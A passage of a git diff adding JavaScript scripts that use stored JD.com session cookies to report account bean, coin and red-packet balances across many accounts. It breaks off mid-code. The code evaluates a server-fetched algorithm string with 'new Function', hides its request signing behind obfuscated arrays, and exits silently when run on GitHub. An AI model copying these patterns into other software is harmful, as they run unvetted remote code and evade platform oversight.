Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.Jxmctoken = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) + $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } else { + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/backUp/jd_bean_change_xh.js b/backUp/jd_bean_change_xh.js new file mode 100644 index 0000000..56f5215 --- /dev/null +++ b/backUp/jd_bean_change_xh.js @@ -0,0 +1,655 @@ +/* + * 简化版京东日资产变动通知 + * 支持环境变量控制每次发送的账号个数,默认为2 + * 环境变量为:JD_BEAN_CHANGE_SENDNUM + * By X1a0He + * https://github.com/X1a0He/jd_scripts_fixed + * */ +const $ = new Env("京东日资产变动"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = "", message = ``; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +$.todayIncome = 0 +$.todayExpenditure = 0 +$.yestodayIncome = 0 +$.yestodayExpenditure = 0 +$.beanCount = 0; +$.beanFlag = true; +$.jdName = `` +$.sendNum = process.env.JD_BEAN_CHANGE_SENDNUM * 1 || 2 +$.sentNum = 0; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => {cookiesArr.push(jdCookieNode[item]);}); + if(process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie),].filter((item) => !!item); +!(async() => { + if(!cookiesArr[0]){ + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { "open-url": "https://bean.m.jd.com/" }); + return; + } + console.log('=====环境变量配置如下=====') + console.log(`sendNum: ${typeof $.sendNum}, ${$.sendNum}`) + console.log('=======================') + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.jdSpeedGoldBalance = 0; + $.jdzzNum = 0; + console.log(`[京东账号${$.index} ${$.UserName}] 获取数据中...`) + await bean(); + await totalBean(); + message += `[京东账号${$.index}]\n` + console.log(`[京东账号${$.index}]`) + message += `👤账号名称:${$.jdName}\n` + console.log(`👤账号名称:${$.jdName}`) + message += `🥔今日收支:${$.todayIncome}京豆 | ${$.todayExpenditure}京豆\n` + console.log(`🥔今日收支:${$.todayIncome}京豆 | ${$.todayExpenditure}京豆`) + message += `🥔昨日收支:${$.yestodayIncome}京豆 | ${$.yestodayExpenditure}京豆\n` + console.log(`🥔昨日收支:${$.yestodayIncome}京豆 | ${$.yestodayExpenditure}京豆`) + message += `🥔当前京豆:${$.beanCount}京豆\n` + console.log(`🥔当前京豆:${$.beanCount}京豆`) + await cash(); + typeof $.jdSpeedGoldBalance !== "undefined" ? message += `💰极速金币:${$.jdSpeedGoldBalance}金币 ≈ ${($.jdSpeedGoldBalance / 10000).toFixed(2)}元\n` : '' + typeof $.jdSpeedGoldBalance !== "undefined" ? console.log(`💰极速金币:${$.jdSpeedGoldBalance}金币 ≈ ${($.jdSpeedGoldBalance / 10000).toFixed(2)}元`) : '' + await getJdzz(); + typeof $.jdzzNum !== "undefined" ? message += `💰京东赚赚:${$.jdzzNum}金币 ≈ ${($.jdzzNum / 10000).toFixed(2)}元\n` : '' + typeof $.jdzzNum !== "undefined" ? console.log(`💰京东赚赚:${$.jdzzNum}金币 ≈ ${($.jdzzNum / 10000).toFixed(2)}元`) : '' + $.JdMsScore = 0; + await getMs(); + $.JdMsScore !== 0 ? message += `💰京东秒杀:${$.JdMsScore}秒币 ≈ ${($.JdMsScore / 1000).toFixed(2)}元\n` : '' + $.JdMsScore !== 0 ? console.log(`💰京东秒杀:${$.JdMsScore}秒币 ≈ ${($.JdMsScore / 1000).toFixed(2)}元`) : '' + await redPacket(); + if($.index % $.sendNum === 0 || (cookiesArr.length - ($.sentNum * $.sendNum)) < $.sendNum){ + message += `[京东账号${$.index}]\n` + } else { + message += `[京东账号${$.index}]\n\n` + } + console.log(`[京东账号${$.index}]`) + console.log(`[京东账号${$.index} ${$.UserName}] 结束\n`) + if($.isNode()){ + if($.index % $.sendNum === 0){ + $.sentNum++; + console.log(`正在进行第 ${$.sentNum} 次发送通知,发送数量:${$.sendNum}`) + await notify.sendNotify(`${$.name}`, `${message}`) + message = ""; + } + } + } + } + if($.isNode()){ + if((cookiesArr.length - ($.sentNum * $.sendNum)) < $.sendNum){ + console.log(`正在进行最后一次发送通知,发送数量:${(cookiesArr.length - ($.sentNum * $.sendNum))}`) + await notify.sendNotify(`${$.name}`, `${message}`) + message = ""; + } + } +})().catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); +}).finally(() => { + $.done(); +}); + +async function bean(){ + $.beanPage = 1; + $.todayIncome = 0 + $.todayExpenditure = 0 + $.yestodayIncome = 0 + $.yestodayExpenditure = 0 + $.beanFlag = true; + $.beanCount = 0; + do { + getJingBeanBalanceDetail($.beanPage); + await $.wait(500) + } while($.beanFlag === true) +} + +//获取京豆数据 +function getJingBeanBalanceDetail(page){ + // 前一天的0:0:0时间戳 + const yesterdayTimeStamp = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const todayTimeStamp = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + return new Promise((resolve) => { + const options = { + url: 'https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail', + body: `body=%7B%22pageSize%22%3A%2220%22%2C%22page%22%3A%22${page}%22%7D&appid=ld`, + headers: { + "Cookie": cookie, + Connection: "keep-alive", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.post(options, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) !== `\"read ECONNRESET\"`){ + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + if(data){ + data = JSON.parse(data); + if(data.code === "0"){ + $.beanPage++; + let detailList = data.detailList; + if(detailList && detailList.length > 0){ + for(let item of detailList){ + const date = item.date.replace(/-/g, '/') + "+08:00"; + if(new Date(date).getTime() >= todayTimeStamp && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))){ + Number(item.amount) > 0 ? $.todayIncome += Number(item.amount) : $.todayExpenditure += Number(item.amount); + } else if(yesterdayTimeStamp <= new Date(date).getTime() && new Date(date).getTime() < todayTimeStamp && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))){ + Number(item.amount) > 0 ? $.yestodayIncome += Number(item.amount) : $.yestodayExpenditure += Number(item.amount) + } else if(yesterdayTimeStamp > new Date(date).getTime()){ + $.beanFlag = false; + break; + } + } + } else $.beanFlag = false; + } else if(data && data.code === "3"){ + console.log(`cookie已过期,或者填写不规范`) + $.beanFlag = false; + } else { + console.log(`未知情况:${JSON.stringify(data)}`); + console.log(`未知情况,跳出`) + $.beanFlag = false; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(data); + } + }); + }); +} + +function totalBean(){ + $.jdName = `` + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Cookie: cookie, + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + // "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + } + $.get(options, (err, resp, data) => { + try{ + if(err){ + $.logErr(err) + } else { + if(data){ + data = JSON.parse(data); + if(data.retcode === "1001"){ + $.isLogin = false; //cookie过期 + return; + } + if(data.retcode === "0" && data.data && data.data.hasOwnProperty("userInfo")){ + $.jdName = `${data.data.userInfo.baseInfo.nickname} ${data.data.userInfo.baseInfo.levelName}` + } + if(data.retcode === '0' && data.data && data.data.assetInfo){ + $.beanCount = data.data && data.data.assetInfo.beanNum; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch(e){ + $.logErr(e) + } finally{ + resolve(); + } + }) + }) +} + +function cash(){ + return new Promise(resolve => { + $.get(taskcashUrl('MyAssetsService.execute', + { "method": "userCashRecord", "data": { "channel": 1, "pageNum": 1, "pageSize": 20 } }), + async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(safeGet(data)){ + data = JSON.parse(data); + $.jdSpeedGoldBalance = data.data.goldBalance; + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(data); + } + }) + }) +} + +var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; + +function taskcashUrl(_0x7683x2, _0x7683x3 = {}){ + let _0x7683x4 = +new Date(); + let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; + let _0x7683x6 = __Oxb24bc[0x5]; + const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; + let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); + return { + url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, + headers: { + 'Host': __Oxb24bc[0xd], + 'accept': __Oxb24bc[0xe], + 'kernelplatform': __Oxb24bc[0xf], + 'user-agent': __Oxb24bc[0x10], + 'accept-language': __Oxb24bc[0x11], + 'Cookie': cookie + } + } +} + +function getJdzz(){ + return new Promise(resolve => { + $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(safeGet(data)){ + data = JSON.parse(data); + $.jdzzNum = data.data.totalNum + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(data); + } + }) + }) +} + +function taskJDZZUrl(functionId, body = {}){ + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function getMs(){ + return new Promise(resolve => { + $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try{ + if(err){ + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(safeGet(data)){ + data = JSON.parse(data) + if(data.code === 2041){ + $.JdMsScore = data.result.assignment.assignmentPoints || 0 + } + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(data); + } + }) + }) +} + +function taskMsPostUrl(function_id, body = {}, extra = '', function_id2){ + let url = `${JD_API_HOST}`; + function_id2 ? url += `?functionId=${function_id2}` : '' + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": 'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + } + } +} + +function redPacket(){ + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + } + } + $.get(options, (err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(data){ + data = JSON.parse(data).data + $.jxRed = 0, $.jsRed = 0, $.jdRed = 0, $.jdhRed = 0, $.jxRedExpire = 0, $.jsRedExpire = 0, $.jdRedExpire = 0, $.jdhRedExpire = 0; + let t = new Date() + t.setDate(t.getDate() + 1) + t.setHours(0, 0, 0, 0) + t = parseInt((t - 1) / 1000) + for(let vo of data.useRedInfo.redList || []){ + if(vo.orgLimitStr && vo.orgLimitStr.includes("京喜")){ + $.jxRed += parseFloat(vo.balance) + if(vo['endTime'] === t){ + $.jxRedExpire += parseFloat(vo.balance) + } + } else if(vo.activityName.includes("极速版")){ + $.jsRed += parseFloat(vo.balance) + if(vo['endTime'] === t){ + $.jsRedExpire += parseFloat(vo.balance) + } + } else if(vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")){ + $.jdhRed += parseFloat(vo.balance) + if(vo['endTime'] === t){ + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if(vo['endTime'] === t){ + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2) + $.jsRed = $.jsRed.toFixed(2) + $.jdRed = $.jdRed.toFixed(2) + $.jdhRed = $.jdhRed.toFixed(2) + $.balance = data.balance + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2) + message += `🧧京喜红包:${$.jxRed}元 今天总过期 ${$.jxRedExpire.toFixed(2)} 元\n` + console.log(`🧧京喜红包:${$.jxRed}元 今天总过期 ${$.jxRedExpire.toFixed(2)} 元`) + message += `🧧极速红包:${$.jsRed}元 今天总过期 ${$.jsRedExpire.toFixed(2)} 元\n` + console.log(`🧧极速红包:${$.jsRed}元 今天总过期 ${$.jsRedExpire.toFixed(2)} 元`) + message += `🧧京东红包:${$.jdRed}元 今天总过期 ${$.jdRedExpire.toFixed(2)} 元\n` + console.log(`🧧京东红包:${$.jdRed}元 今天总过期 ${$.jdRedExpire.toFixed(2)} 元`) + message += `🧧健康红包:${$.jdhRed}元 今天总过期 ${$.jdhRedExpire.toFixed(2)} 元\n` + console.log(`🧧健康红包:${$.jdhRed}元 今天总过期 ${$.jdhRedExpire.toFixed(2)} 元`) + message += `🧧当前红包:${$.balance}元 今天总过期 ${$.expiredBalance} 元\n` + console.log(`🧧当前红包:${$.balance}元 今天总过期 ${$.expiredBalance} 元`) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(data); + } + }) + }) +} + +function safeGet(data){ + try{ + if(typeof JSON.parse(data) == "object"){ + return true; + } + } catch(e){ + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){this.env = t} + + send(t, e = "GET"){ + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) + } + + get(t){return this.send.call(this.env, t)} + + post(t){return this.send.call(this.env, t, "POST")} + } + + return new class{ + constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], 